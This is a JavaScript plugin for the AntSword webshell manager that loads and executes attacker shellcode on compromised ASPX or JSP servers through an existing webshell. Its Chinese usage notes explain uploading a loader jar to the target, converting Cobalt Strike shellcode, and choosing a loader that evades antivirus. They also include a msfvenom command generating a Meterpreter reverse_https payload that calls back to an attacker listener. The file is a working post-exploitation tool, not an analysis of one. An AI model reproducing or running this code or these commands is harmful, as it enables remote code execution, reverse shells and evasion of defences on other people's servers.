"use strict";

const Base = require("../base");
const LANG = require("../../language"); // 插件语言库
const LANG_T = antSword["language"]["toastr"]; // 通用通知提示
class ShellcodeLoader extends Base {
  createToolbar(cell) {
    let self = this;
    let toolbar = cell.attachToolbar();
    this.toolbar = toolbar;
    if (self.shelltype == "aspx") {
      toolbar.attachEvent("onClick", function (id) {
        try {
          self.exploit();
        } catch (e) {
          toastr.error(JSON.stringify(e), LANG_T["error"]);
        }
      });
      toolbar.loadStruct(
        '<toolbar><item type="button" id="exploit" text="exploit" title="" /></toolbar>',
        function () {}
      );
    } else {
      toolbar.attachEvent("onClick", function (id) {
        switch (id) {
          case "AttachLoader":
            self.payloadtype = "AttachLoader";
            self.toolbar.enableItem("exploit");
            break;
          case "JnaLoader":
            self.payloadtype = "JnaLoader";
            self.toolbar.enableItem("exploit");
            break;
          case "exploit":
            try {
              self.exploit();
            } catch (e) {
              toastr.error(JSON.stringify(e), LANG_T["error"]);
            }
        }
      });
      toolbar.loadStruct(
        '<toolbar><item type="button" id="exploit" text="exploit" /><item type="separator" id="separator" /><item type="buttonSelect" id="method" text="加载方式" ><item type="button" id="JnaLoader" text="JnaLoader" /><item type="button" id="AttachLoader" text="AttachLoader" /></item></toolbar>',
        function () {}
      );
      toolbar.disableItem("exploit");
    }
  }
  createForm() {
    let self = this;
    let editor = null;
    // 初始化编辑器
    editor = ace.edit(self.cellA.cell.lastChild);
    editor.$blockScrolling = Infinity;
    editor.setTheme("ace/theme/tomorrow");
    editor.session.setUseWrapMode(true);
    editor.session.setWrapLimitRange(null, null);

    editor.setOptions({
      fontSize: "14px",
      enableBasicAutocompletion: true,
      enableSnippets: true,
      enableLiveAutocompletion: true,
    });
    const inter = setInterval(editor.resize.bind(editor), 200);
    self.win.win.attachEvent("onClose", () => {
      clearInterval(inter);
      return true;
    });
    self.editor2 = editor;

    this.showTips();
  }

  showTips() {
    let tips = "";
    switch (this.shelltype) {
      case "aspx":
        tips = `C# Shellcode Tips`;
        break;
      case "jsp":
        tips = `## 注意事项
使用之前请务必认真阅读使用说明，否则可能直接将Java进程打挂。

* 使用MSF需要加上 PrependMigrate=true PrependMigrateProc=xxxx.exe 参数，自动迁移到新的进程，否则会在migrate/exit的时候把Java进程给干掉，导致网站瘫痪。

  例如 msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.88.129 LPORT=8888  PrependMigrate=true PrependMigrateProc=svchost.exe -f hex

* JNA方式只需要X86类型的ShellCode即可，而Attach方式需要根据目标Java位数来选择对应的ShellCode。

## JNA
利用第三方库JNA进行ShellCode的加载。
适用范围：JDK>=1.5

1. 首先利用Jar加载器将 ShellCodeLoader.jar 上传到目标服务器目录并加载。
2. 使用MSF或者CS生成x86类型的shellcode，并开启监听。
3. 在ShellCode加载器模块，输入hex或者java格式的shellcode，且不能有多余换行跟空格。
4. 点击exploit，等待返回回话。

## Attach
模拟java agent注入过程来实现Shellcode的加载。这个native方法是jdk自带的，并且经过oracle签名的，免杀效果更好。
适用范围：JDK>=1.6

1. 基本信息，exploit，Ctrl+F 搜索  sun.arch.data.model ，查看java位数
2. 根据java位数生成对应位数的shellcode，并开启监听。
3. 在ShellCode加载器模块，输入hex或者java格式的shellcode，且不能有多余换行跟空格。
4. 点击exploit，等待返回回话。
`;
        break;
      default:
        break;
    }

    this.editor.session.setValue(tips);
  }

  format(str) {
    //将cobalt strike生成的shellcode转为hex
    str = str.substring(str.indexOf("{") + 1, str.lastIndexOf("}"));
    str = str.replace(/0x/g, "").replace(/,/g, "").replace(/ /g, "");
    // console.log(str);
    return str;
  }
  exploit() {
    let self = this;
    let args = {};
    self.core = this.top.core;
    let shellcode = self.editor2.session.getValue();
    if (shellcode.indexOf("{") > 0) {
      shellcode = this.format(shellcode);
      self.editor2.session.setValue(shellcode);
    }

    if (this.shelltype == "aspx") {
      self.parammode = 2;
      args["shellcode"] = shellcode;
    } else {
      args["targetShellCode"] = shellcode;
      // args["targetPID"] = targetPID;
      // args["targetProcess"] = targetProcess;
    }

    let data = this.genPayload(args);
    self.core
      .request(data)
      .then((_ret) => {
        let res = antSword.unxss(_ret["text"], false);
        if (res === "") {
          res = "output is empty.";
        }
        switch (self.shelltype) {
          case "jsp":
          case "aspx":
          default:
            self.editor.session.setValue(res);
            self.editor.setReadOnly(true);
            break;
        }
        toastr.success(LANG["success"], LANG_T["success"]);
      })
      .catch((e) => {
        console.log(e);
        toastr.error(e.constructor === Object ? JSON.stringify(e) : e, "Error");
      });
  }
}
module.exports = ShellcodeLoader;
